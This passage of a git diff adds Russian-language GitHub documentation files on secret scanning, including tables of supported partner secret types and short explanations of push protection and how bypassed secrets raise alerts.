variables.product.prodname_secret_scanning_caps %} partner program](/enterprise-cloud@latest/developers/overview/secret-scanning-partner-program)" in the {% data variables.product.prodname_ghe_cloud %} documentation. +{% endif %} diff --git a/translations/ru-RU/data/reusables/secret-scanning/partner-secret-list-private-repo.md b/translations/ru-RU/data/reusables/secret-scanning/partner-secret-list-private-repo.md new file mode 100644 index 000000000000..ca4af641d070 --- /dev/null +++ b/translations/ru-RU/data/reusables/secret-scanning/partner-secret-list-private-repo.md @@ -0,0 +1,225 @@ +Provider | Supported secret | Secret type +--- | --- | --- +Adafruit IO | Adafruit IO Key | adafruit_io_key +Adobe | Adobe Device Token | adobe_device_token +Adobe | Adobe Service Token | adobe_service_token +Adobe | Adobe Short-Lived Access Token | adobe_short_lived_access_token +Adobe | Adobe JSON Web Token | adobe_jwt +Alibaba Cloud | Alibaba Cloud Access Key ID with Alibaba Cloud Access Key Secret| alibaba_cloud_access_key_id
alibaba_cloud_access_key_secret +{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +Amazon | Amazon OAuth Client ID with Amazon OAuth Client Secret | amazon_oauth_client_id
amazon_oauth_client_secret{% endif %} +Amazon Web Services (AWS) | Amazon AWS Access Key ID with Amazon AWS Secret Access Key | aws_access_key_id
aws_secret_access_key +Amazon Web Services (AWS) | Amazon AWS Session Token with Amazon AWS Temporary Access Key ID and Amazon AWS Secret Access Key | aws_session_token
aws_temporary_access_key_id
aws_secret_access_key +Asana | Asana {% data variables.product.pat_generic_title_case %} | asana_personal_access_token +Atlassian | Atlassian API Token | atlassian_api_token +Atlassian | Atlassian JSON Web Token | atlassian_jwt +Atlassian | Bitbucket Server {% data variables.product.pat_generic_title_case %} | bitbucket_server_personal_access_token +{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +Azure | Azure Active Directory Application Secret | azure_active_directory_application_secret{% endif %} +{%- ifversion fpt or ghec or ghes > 3.8 or ghae > 3.8 %} +Azure | Azure Batch Key Identifiable | azure_batch_key_identifiable{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +Azure | Azure Cache for Redis Access Key | azure_cache_for_redis_access_key{% endif %} +{%- ifversion fpt or ghec or ghes > 3.8 or ghae > 3.8 %} +Azure | Azure CosmosDB Key Identifiable | azure_cosmosdb_key_identifiable{% endif %} +Azure | Azure DevOps {% data variables.product.pat_generic_title_case %} | azure_devops_personal_access_token +{%- ifversion fpt or ghec or ghes > 3.8 or ghae > 3.8 %} +Azure | Azure ML Studio (classic) Web Service Key | azure_ml_studio_classic_web_service_key{% endif %} +Azure | Azure SAS Token | azure_sas_token +Azure | Azure Service Management Certificate | azure_management_certificate +{%- ifversion ghes < 3.4 or ghae < 3.4 %} +Azure | Azure SQL Connection String | azure_sql_connection_string{% endif %} +Azure | Azure Storage Account Key | azure_storage_account_key +Beamer | Beamer API Key | beamer_api_key +Checkout.com | Checkout.com Production Secret Key | checkout_production_secret_key +Checkout.com | Checkout.com Test Secret Key | checkout_test_secret_key +Clojars | Clojars Deploy Token | clojars_deploy_token +CloudBees CodeShip | CloudBees CodeShip Credential | codeship_credential +Contentful | Contentful {% data variables.product.pat_generic_title_case %} | contentful_personal_access_token +Databricks | Databricks Access Token | databricks_access_token +{%- ifversion fpt or ghec or ghes > 3.8 or ghae > 3.8 %} +DevCycle | DevCycle Client API Key | devcycle_client_api_key +DevCycle | DevCycle Server API Key | devcycle_server_api_key +DevCycle | DevCycle Mobile API Key | devcycle_mobile_api_key{% endif %} +{%- ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +DigitalOcean | DigitalOcean {% data variables.product.pat_generic_title_case %} | digitalocean_personal_access_token +DigitalOcean | DigitalOcean OAuth Token | digitalocean_oauth_token +DigitalOcean | DigitalOcean Refresh Token | digitalocean_refresh_token +DigitalOcean | DigitalOcean System Token | digitalocean_system_token{% endif %} +Discord | Discord Bot Token | discord_bot_token +Doppler | Doppler Personal Token | doppler_personal_token +Doppler | Doppler Service Token | doppler_service_token +Doppler | Doppler CLI Token | doppler_cli_token +Doppler | Doppler SCIM Token | doppler_scim_token +Doppler | Doppler Audit Token | doppler_audit_token +Dropbox | Dropbox Access Token | dropbox_access_token +Dropbox | Dropbox Short Lived Access Token | dropbox_short_lived_access_token +Duffel | Duffel Live Access Token | duffel_live_access_token +Duffel | Duffel Test Access Token | duffel_test_access_token +Dynatrace | Dynatrace Access Token | dynatrace_access_token +Dynatrace | Dynatrace Internal Token | dynatrace_internal_token +EasyPost | EasyPost Production API Key | easypost_production_api_key +EasyPost | EasyPost Test API Key | easypost_test_api_key +Fastly | Fastly API Token | fastly_api_token +Finicity | Finicity App Key | finicity_app_key +Flutterwave | Flutterwave Live API Secret Key | flutterwave_live_api_secret_key +Flutterwave | Flutterwave Test API Secret Key | flutterwave_test_api_secret_key +Frame.io | Frame.io JSON Web Token | frameio_jwt +Frame.io| Frame.io Developer Token | frameio_developer_token +FullStory | FullStory API Key | fullstory_api_key +GitHub | GitHub {% data variables.product.pat_generic_title_case %} | github_personal_access_token +GitHub | GitHub OAuth Access Token | github_oauth_access_token +GitHub | GitHub Refresh Token | github_refresh_token +GitHub | GitHub App Installation Access Token | github_app_installation_access_token +GitHub | GitHub SSH Private Key | github_ssh_private_key +{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +GitLab | GitLab Access Token | gitlab_access_token{% endif %} +GoCardless | GoCardless Live Access Token | gocardless_live_access_token +GoCardless | GoCardless Sandbox Access Token | gocardless_sandbox_access_token +Google | Firebase Cloud Messaging Server Key | firebase_cloud_messaging_server_key +Google | Google API Key | google_api_key +Google | Google Cloud Private Key ID | +Google | Google Cloud Storage Service Account Access Key ID with Google Cloud Storage Access Key Secret | google_cloud_storage_service_account_access_key_id
google_cloud_storage_access_key_secret +Google | Google Cloud Storage User Access Key ID with Google Cloud Storage Access Key Secret | google_cloud_storage_user_access_key_id
google_cloud_storage_access_key_secret +{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +Google | Google OAuth Access Token | google_oauth_access_token{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +Google | Google OAuth Client ID with Google OAuth Client Secret | google_oauth_client_id
google_oauth_client_secret{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +Google | Google OAuth Refresh Token | google_oauth_refresh_token{% endif %} +Grafana | Grafana API Key | grafana_api_key +HashiCorp | Terraform Cloud / Enterprise API Token | terraform_api_token +HashiCorp | HashiCorp Vault Batch Token | hashicorp_vault_batch_token +{%- ifversion fpt or ghec or ghes > 3.8 or ghae > 3.8 %} +HashiCorp | HashiCorp Vault Root Service Token | hashicorp_vault_root_service_token{% endif %} +HashiCorp | HashiCorp Vault Service Token | hashicorp_vault_service_token +Hubspot | Hubspot API Key | hubspot_api_key +Intercom | Intercom Access Token | intercom_access_token +Ionic | Ionic {% data variables.product.pat_generic_title_case %} | ionic_personal_access_token +Ionic | Ionic Refresh Token | ionic_refresh_token +{%- ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +JD Cloud | JD Cloud Access Key | jd_cloud_access_key{% endif %} +JFrog | JFrog Platform Access Token | jfrog_platform_access_token +JFrog | JFrog Platform API Key | jfrog_platform_api_key +Linear | Linear API Key | linear_api_key +Linear | Linear OAuth Access Token | linear_oauth_access_token +Lob | Lob Live API Key | lob_live_api_key +Lob | Lob Test API Key | lob_test_api_key +{%- ifversion fpt or ghec or ghes > 3.8 or ghae > 3.8 %} +LogicMonitor | LogicMonitor Bearer Token | logicmonitor_bearer_token +LogicMonitor | LogicMonitor LMV1 Access Key | logicmonitor_lmv1_access_key{% endif %} +Mailchimp | Mailchimp API Key | mailchimp_api_key +Mailgun | Mailgun API Key | mailgun_api_key +{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +Mapbox | Mapbox Secret Access Token | mapbox_secret_access_token{% endif %} +MessageBird | MessageBird API Key | messagebird_api_key +Meta | Facebook Access Token | facebook_access_token +{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +Midtrans | Midtrans Production Server Key | midtrans_production_server_key{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +Midtrans | Midtrans Sandbox Server Key | midtrans_sandbox_server_key{% endif %} +New Relic | New Relic Personal API Key | new_relic_personal_api_key +New Relic | New Relic REST API Key | new_relic_rest_api_key +New Relic | New Relic Insights Query Key | new_relic_insights_query_key +New Relic | New Relic License Key | new_relic_license_key +{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +Notion | Notion Integration Token | notion_integration_token{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +Notion | Notion OAuth Client Secret | notion_oauth_client_secret{% endif %} +npm | npm Access Token | npm_access_token +NuGet | NuGet API Key | nuget_api_key +{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +Octopus Deploy | Octopus Deploy API Key | octopus_deploy_api_key{% endif %} +Onfido | Onfido Live API Token | onfido_live_api_token +Onfido | Onfido Sandbox API Token | onfido_sandbox_api_token +OpenAI | OpenAI API Key | openai_api_key +Palantir | Palantir JSON Web Token | palantir_jwt +PlanetScale | PlanetScale Database Password | planetscale_database_password +PlanetScale | PlanetScale OAuth Token | planetscale_oauth_token +PlanetScale | PlanetScale Service Token | planetscale_service_token +Plivo | Plivo Auth ID with Plivo Auth Token | plivo_auth_id
plivo_auth_token +Postman | Postman API Key | postman_api_key +{%- ifversion fpt or ghec or ghes > 3.6 or ghae > 3.6 %} +Prefect | Prefect Server API Key | prefect_server_api_key +Prefect | Prefect User API Key | prefect_user_api_key{% endif %} +Proctorio | Proctorio Consumer Key | proctorio_consumer_key +Proctorio | Proctorio Linkage Key | proctorio_linkage_key +Proctorio | Proctorio Registration Key | proctorio_registration_key +Proctorio | Proctorio Secret Key | proctorio_secret_key +Pulumi | Pulumi Access Token | pulumi_access_token +PyPI | PyPI API Token | pypi_api_token +{%- ifversion fpt or ghec or ghes > 3.6 or ghae > 3.6 %} +ReadMe | ReadMe API Access Key | readmeio_api_access_token{% endif %} +{%- ifversion fpt or ghec or ghes > 3.5 or ghae > 3.5 %} +redirect.pizza | redirect.pizza API Token | redirect_pizza_api_token{% endif %} +RubyGems | RubyGems API Key | rubygems_api_key +Samsara | Samsara API Token | samsara_api_token +Samsara | Samsara OAuth Access Token | samsara_oauth_access_token +{%- ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +Segment | Segment Public API Token | segment_public_api_token{% endif %} +SendGrid | SendGrid API Key | sendgrid_api_key +Sendinblue | Sendinblue API Key | sendinblue_api_key +Sendinblue | Sendinblue SMTP Key | sendinblue_smtp_key +Shippo | Shippo Live API Token | shippo_live_api_token +Shippo | Shippo Test API Token | shippo_test_api_token +{%- ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +Shopify | Shopify App Client Credentials | shopify_app_client_credentials +Shopify | Shopify App Client Secret | shopify_app_client_secret{% endif %} +Shopify | Shopify App Shared Secret | shopify_app_shared_secret +Shopify | Shopify Access Token | shopify_access_token +Shopify | Shopify Custom App Access Token | shopify_custom_app_access_token +{%- ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +Shopify | Shopify Merchant Token | shopify_merchant_token +Shopify | Shopify Marketplace Token | shopify_marketplace_token +Shopify | Shopify Partner API Token | shopify_partner_api_token{% endif %} +Shopify | Shopify Private App Password | shopify_private_app_password +Slack | Slack API Token | slack_api_token +Slack | Slack Incoming Webhook URL | slack_incoming_webhook_url +Slack | Slack Workflow Webhook URL | slack_workflow_webhook_url +{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +Square | Square Access Token | square_access_token{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +Square | Square Production Application Secret | square_production_application_secret{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +Square | Square Sandbox Application Secret | square_sandbox_application_secret{% endif %} +SSLMate | SSLMate API Key | sslmate_api_key +SSLMate | SSLMate Cluster Secret | sslmate_cluster_secret +Stripe | Stripe API Key | stripe_api_key +Stripe | Stripe Live API Secret Key | stripe_live_secret_key +Stripe | Stripe Test API Secret Key | stripe_test_secret_key +Stripe | Stripe Live API Restricted Key | stripe_live_restricted_key +Stripe | Stripe Test API Restricted Key | stripe_test_restricted_key +Stripe | Stripe Webhook Signing Secret | stripe_webhook_signing_secret +{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +Supabase | Supabase Service Key | supabase_service_key{% endif %} +Tableau | Tableau {% data variables.product.pat_generic_title_case %} | tableau_personal_access_token +Telegram | Telegram Bot Token | telegram_bot_token +Tencent Cloud | Tencent Cloud Secret ID | tencent_cloud_secret_id +{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +Twilio | Twilio Access Token | twilio_access_token{% endif %} +Twilio | Twilio Account String Identifier | twilio_account_sid +Twilio | Twilio API Key | twilio_api_key +{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +Typeform | Typeform {% data variables.product.pat_generic_title_case %} | typeform_personal_access_token{% endif %} +{%- ifversion fpt or ghec or ghes > 3.6 or ghae > 3.6 %} +Uniwise | WISEflow API Key | wiseflow_api_key{% endif %} +{%- ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +WorkOS | WorkOS Production API Key | workos_production_api_key{% endif %} +{%- ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +WorkOS | WorkOS Staging API Key | workos_staging_api_key{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +Yandex | Yandex.Cloud API Key | yandex_cloud_api_key{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +Yandex | Yandex.Cloud IAM Cookie | yandex_cloud_iam_cookie{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +Yandex | Yandex.Cloud IAM Token | yandex_cloud_iam_token{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +Yandex | Yandex.Dictionary API Key | yandex_dictionary_api_key{% endif %} +{%- ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +Yandex | Yandex.Cloud Access Secret | yandex_iam_access_secret{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +Yandex | Yandex.Predictor API Key | yandex_predictor_api_key{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +Yandex | Yandex.Translate API Key | yandex_translate_api_key{% endif %} +{%- ifversion fpt or ghec or ghes > 3.6 or ghae > 3.6 %} +Zuplo | Zuplo Consumer API Key | zuplo_consumer_api_key{% endif %} diff --git a/translations/ru-RU/data/reusables/secret-scanning/partner-secret-list-public-repo.md b/translations/ru-RU/data/reusables/secret-scanning/partner-secret-list-public-repo.md new file mode 100644 index 000000000000..32e2fccc3939 --- /dev/null +++ b/translations/ru-RU/data/reusables/secret-scanning/partner-secret-list-public-repo.md @@ -0,0 +1,130 @@ +--- +ms.openlocfilehash: cd91a98e6cb0da73a24f7f6e682b67ec25b406d4 +ms.sourcegitcommit: 24427fe609677b2c58137b1d9d63869d0872daf4 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/04/2022 +ms.locfileid: "148134795" +--- +Партнер | Поддерживаемый секрет +--- | --- +Adafruit IO | Ключ Adafruit IO +Adobe | Маркер устройства Adobe +Adobe | Маркер службы Adobe +Adobe | Краткосрочный маркер доступа Adobe +Adobe | Adobe JSON Web Token +Alibaba Cloud | Пара идентификатора и секрета ключа доступа Alibaba Cloud +Amazon Web Services (AWS) | Пара идентификатора и секрета ключа доступа Amazon AWS +Atlassian | Маркер Atlassian API +Atlassian | Atlassian JSON Web Token +Azure | Секрет приложения Azure Active Directory +Azure | пакетная служба Azure ключ, который можно идентифицировать +Azure | Идентифицируемый ключ Azure CosmosDB +Azure | Azure DevOps {% data variables.product.pat_generic_title_case %} +Azure | Ключ веб-службы Студии машинного обучения Azure (классическая версия) +Azure | Маркер Azure SAS +Azure | Сертификат управления службами Azure +Azure | Строка подключения Azure SQL +Azure | Ключ учетной записи хранения Azure +Checkout.com | Производственный секретный ключ Checkout.com +Checkout.com | Тестовый секретный ключ Checkout.com +Chief | Токен главных средств +Clojars | Маркер развертывания Clojars +CloudBees CodeShip | Учетные данные CloudBees CodeShip +Contributed Systems | Учетные данные Contributed Systems +Databricks | Маркер доступа Databricks +Datadog | Ключ API Datadog +DevCycle | Ключ API клиента DevCycle +DevCycle | Ключ API сервера DevCycle +DigitalOcean | DigitalOcean {% data variables.product.pat_generic_title_case %} +DigitalOcean | Маркер OAuth DigitalOcean +DigitalOcean | Маркер обновления DigitalOcean +DigitalOcean | Маркер системы DigitalOcean +Discord | Маркер бота Discord +Doppler | Личный маркер Doppler +Doppler | Маркер службы Doppler +Doppler | Маркер CLI Doppler +Doppler | Маркер SCIM Doppler +Doppler | Маркер аудита Doppler +DropBox | Маркер доступа Dropbox +DropBox | Краткосрочный маркер доступа Dropbox +Dynatrace | Маркер доступа Dynatrace +Dynatrace | Внутренний маркер Dynatrace +Finicity | Ключ приложения Finicity +Frame.io | Frame.io JSON Web Token +Frame.io| Маркер разработчика Frame.io +FullStory| Ключ API FullStory +GitHub | GitHub {% data variables.product.pat_generic_title_case %} +GitHub | Маркер доступа OAuth GitHub +GitHub | Маркер обновления GitHub +GitHub | Маркер доступа к установке приложений GitHub +GitHub | Закрытый ключ SSH GitHub +GoCardless | Маркер динамического доступа GoCardless +GoCardless | Маркер доступа к песочнице GoCardless +Google Cloud | Ключ API Google +Google Cloud | Идентификатор закрытого ключа Google Cloud +Hashicorp Terraform | Ключ Terraform Cloud / Enterprise API +Hubspot | Ключ API Hubspot +Ionic | Ionic {% data variables.product.pat_generic_title_case %} +Ionic | Маркер обновления Ionic +JD Cloud | Ключ доступа JD Cloud +Линейная | Ключ API Linear +Линейная | Маркер доступа OAuth Linear +Mailchimp | Ключ API Mailchimp +Mailchimp | Ключ API Mandrill +Mailgun | Ключ API Mailgun +MessageBird | Ключ API MessageBird +Meta | Маркер доступа Facebook +npm | Маркер доступа npm +NuGet | Ключ API NuGet +Развертывание Octopus | Ключ API развертывания Octopus +OpenAI | Ключ API OpenAI +Palantir | Palantir JSON Web Token +PlanetScale | Пароль базы данных PlanetScale +PlanetScale | Маркер OAuth PlanetScale +PlanetScale | Маркер службы PlanetScale +Plivo | Идентификатор и маркер Plivo Auth +Postman | Ключ API Postman +Prefect | Ключ API сервера Prefect +Prefect | Токен API пользователя Prefect +Proctorio | Ключ потребителя Proctorio +Proctorio | Ключ связывания Proctorio +Proctorio | Ключ регистрации Proctorio +Proctorio | Секретный ключ Proctorio +Pulumi | Маркер доступа Pulumi +PyPI | Маркер API PyPI +ReadMe | Ключ доступа API ReadMe +redirect.pizza | Маркер API redirect.pizza +RubyGems | Ключ API RubyGems +Samsara | Маркер API Samsara +Samsara | Маркер доступа OAuth Samsara +SendGrid | Ключ API SendGrid +Sendinblue | Ключ API Sendinblue +Sendinblue | Ключ SMTP Sendinblue +Shopify | Общий секрет приложения Shopify +Shopify | Маркер доступа Shopify +Shopify | Пользовательский маркер доступа к приложению Shopify +Shopify | Пароль частного приложения Shopify +Slack | Маркер API Slack +Slack | URL-адрес входящего веб-перехватчика Slack +Slack | URL-адрес веб-перехватчика рабочего процесса Slack +SSLMate | Ключ API SSLMate +SSLMate | Секрет кластера SSLMate +Stripe | Секретный ключ реального API Stripe +Stripe | Секретный ключ тестового API Stripe +Stripe | Ограниченный ключ реального API Stripe +Stripe | Ограниченный ключ тестового API Stripe +Supabase | Ключ службы Supabase +Tencent Cloud | Идентификатор секрета Tencent Cloud +Twilio | Строковый идентификатор учетной записи Twilio +Twilio | Ключ API Twilio +Typeform | Форма типа {% data variables.product.pat_generic_title_case %} +Uniwise | Ключ API WISEflow +Valour | Маркер доступа Valour +Яндекс | Ключ API Yandex.Cloud +Яндекс | Yandex.Cloud IAM Cookie +Яндекс | маркер IAM Yandex.Cloud +Яндекс | Ключ API "Поиск.Словарь" +Яндекс | Секрет доступа Yandex.Cloud +Яндекс | Токен OAuth Для гравюр.Passport +Zuplo | API потребителя Zuplo diff --git a/translations/ru-RU/data/reusables/secret-scanning/push-protection-allow-email.md b/translations/ru-RU/data/reusables/secret-scanning/push-protection-allow-email.md new file mode 100644 index 000000000000..20023e0bdda1 --- /dev/null +++ b/translations/ru-RU/data/reusables/secret-scanning/push-protection-allow-email.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 46850cadc908d94d514fde76ee0fecbddce0affe +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109063" +--- +{% ifversion secret-scanning-push-protection-email %} Если участник обходит защитную блокировку push-передачи для секрета, {% data variables.product.prodname_dotcom %} также отправляет оповещение по электронной почте владельцам организации, менеджерам по безопасности и администраторам репозиториев, которые выбрали получение таких оповещений. +{% endif %} diff --git a/translations/ru-RU/data/reusables/secret-scanning/push-protection-allow-secrets-alerts.md b/translations/ru-RU/data/reusables/secret-scanning/push-protection-allow-secrets-alerts.md new file mode 100644 index 000000000000..0051ab7d53bb --- /dev/null +++ b/translations/ru-RU/data/reusables/secret-scanning/push-protection-allow-secrets-alerts.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 110de05126a0656467f63f7c377b257adf401c26 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147064965" +--- +Если вы разрешаете отправку секрета, на вкладке "Безопасность" создается оповещение. {% data variables.product.prodname_dotcom %} закрывает оповещение и не отправляет уведомление, если указать, что секрет является ложным срабатыванием или используется только в тестах. Если указать, что секрет является реальным и что вы исправите это позже, {% data variables.product.prodname_dotcom %} оставит оповещение системы безопасности открытым и отправит уведомления автору фиксации, а также администраторам репозитория. Дополнительные сведения см. в разделе [Управление оповещениями при анализе секретов](/code-security/secret-scanning/managing-alerts-from-secret-scanning). diff --git a/translations/ru-RU/data/reusables/secret-scanning/push-protection-beta.md b/translations/ru-RU/data/reusables/secret-scanning/push-protection-beta.md new file mode 100644 index 000000000000..6f06284ff9b7 --- /dev/null +++ b/translations/ru-RU/data/reusables/secret-scanning/push-protection-beta.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: ea86b41aadceb914d9601e98c541249806ae6f7c +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145137598" +--- +{% note %} + +**Примечание.** {% data variables.product.prodname_secret_scanning_caps %} в качестве защиты отправки в настоящее время доступен в виде бета-версии и может быть изменен. Чтобы запросить доступ к бета-версии, [обратитесь к группе управления учетными записями](https://github.com/enterprise/contact). + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/secret-scanning/push-protection-choose-allow-secret-options.md b/translations/ru-RU/data/reusables/secret-scanning/push-protection-choose-allow-secret-options.md new file mode 100644 index 000000000000..c1edf8966986 --- /dev/null +++ b/translations/ru-RU/data/reusables/secret-scanning/push-protection-choose-allow-secret-options.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 3a921ec22c1ce29805ee6fa7309532f261d15bff +ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878466" +--- +2. Выберите вариант ответа, который наиболее точно описывает, почему у вас должна быть возможность отправлять секрет. + - Если секрет используется только в тестах и не представляет угрозы, нажмите **Используется в тестах**. + - Если обнаруженная строка не является секретом, нажмите **Ложноположительный результат**. + - Если секрет реальный, но вы планируете исправить его позднее, нажмите **Исправлю позже**. diff --git a/translations/ru-RU/data/reusables/secret-scanning/push-protection-command-line-choice.md b/translations/ru-RU/data/reusables/secret-scanning/push-protection-command-line-choice.md new file mode 100644 index 000000000000..cf8251dddd32 --- /dev/null +++ b/translations/ru-RU/data/reusables/secret-scanning/push-protection-command-line-choice.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: f6618408ed0e7485caa21f232f6a573a23d120f4 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147578752" +--- +При попытке отправить поддерживаемый секрет в репозиторий или организацию с включенным {% data variables.product.prodname_secret_scanning %} для защиты отправок, {% data variables.product.prodname_dotcom %} заблокирует отправку. Вы можете удалить секрет из ветви или перейти по указанному URL-адресу, чтобы разрешить отправку. diff --git a/translations/ru-RU/data/reusables/secret-scanning/push-protection-multiple-branch-note.md b/translations/ru-RU/data/reusables/secret-scanning/push-protection-multiple-branch-note.md new file mode 100644 index 000000000000..8173432ea4df --- /dev/null +++ b/translations/ru-RU/data/reusables/secret-scanning/push-protection-multiple-branch-note.md @@ -0,0 +1,16 @@ +--- +ms.openlocfilehash: 4cc5759031be6a031424abf13b7aa4c1db05c84f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147578742" +--- +{% note %} + +**Примечания** + +* Если конфигурация Git поддерживает отправку в несколько ветвей, а не только в текущую ветвь, отправка может быть заблокирована из-за отправки дополнительных и незапланированных ссылок. Дополнительные сведения см. в разделе [Параметры `push.default`](https://git-scm.com/docs/git-config#Documentation/git-config.txt-pushdefault) в документации Git. +* Если истечет время ожидания {% data variables.product.prodname_secret_scanning %} при отправке, {% data variables.product.prodname_dotcom %} все равно выполнит проверку фиксаций на наличие секретов после отправки. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/secret-scanning/push-protection-overview.md b/translations/ru-RU/data/reusables/secret-scanning/push-protection-overview.md new file mode 100644 index 000000000000..968da50a3f6c --- /dev/null +++ b/translations/ru-RU/data/reusables/secret-scanning/push-protection-overview.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 15b1d93e8ad9c8f7d6bc281335b9f11087b37c50 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147067837" +--- +Когда вы включаете защиту отправки, {% data variables.product.prodname_secret_scanning %} также проверяет отправки на наличие секретов с высокой достоверностью (с малой частотой ложноположительных результатов). {% data variables.product.prodname_secret_scanning_caps %} перечисляет все обнаруженные секреты, чтобы автор мог просмотреть секреты и удалить их или, при необходимости, разрешить отправку этих секретов. diff --git a/translations/ru-RU/data/reusables/secret-scanning/push-protection-remove-secret.md b/translations/ru-RU/data/reusables/secret-scanning/push-protection-remove-secret.md new file mode 100644 index 000000000000..2d16af592e53 --- /dev/null +++ b/translations/ru-RU/data/reusables/secret-scanning/push-protection-remove-secret.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 3d0f861b8ee9ff6b4e948dee7dfb67a648021404 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109391" +--- +Если вы убедились, что секрет реальный, перед повторной отправкой необходимо удалить этот секрет из ветви и _из всех фиксаций, в которых он отображается_. diff --git a/translations/ru-RU/data/reusables/secret-scanning/push-protection-web-ui-choice.md b/translations/ru-RU/data/reusables/secret-scanning/push-protection-web-ui-choice.md new file mode 100644 index 000000000000..b46deb1fe845 --- /dev/null +++ b/translations/ru-RU/data/reusables/secret-scanning/push-protection-web-ui-choice.md @@ -0,0 +1,21 @@ +--- +ms.openlocfilehash: 7bb1603715c255f08ac0bfbe7ff2cdbfe99a3134 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109123" +--- +При попытке использовать веб-интерфейс, чтобы зафиксировать поддерживаемый секрет в репозиторий или организацию с включенной защитой отправок, {% data variables.product.prodname_dotcom %} заблокирует отправку. + +Вы увидите баннер в верхней части страницы со сведениями о расположении секрета, а секрет также будет подчеркнут в файле, чтобы его можно было легко найти. + +{% ifversion push-protection-custom-link-orgs %} + + ![Снимок экрана: фиксация с помощью веб-интерфейса заблокирована из-за защиты отправок с помощью сканирования секретов](/assets/images/help/repository/secret-scanning-push-protection-web-ui-commit-blocked-banner-with-link.png) + +{% else %} + + ![Снимок экрана: фиксация с помощью веб-интерфейса заблокирована из-за защиты отправок с помощью сканирования секретов](/assets/images/help/repository/secret-scanning-push-protection-web-ui-commit-blocked-banner.png) + +{% endif %} diff --git a/translations/ru-RU/data/reusables/secret-scanning/secret-list-private-push-protection.md b/translations/ru-RU/data/reusables/secret-scanning/secret-list-private-push-protection.md new file mode 100644 index 000000000000..9e9def0bbce6 --- /dev/null +++ b/translations/ru-RU/data/reusables/secret-scanning/secret-list-private-push-protection.md @@ -0,0 +1,104 @@ +Provider | Supported secret | Secret type +--- | --- | --- +Adafruit IO | Adafruit IO Key | adafruit_io_key +Alibaba Cloud | Alibaba Cloud Access Key ID with Alibaba Cloud Access Key Secret| alibaba_cloud_access_key_id
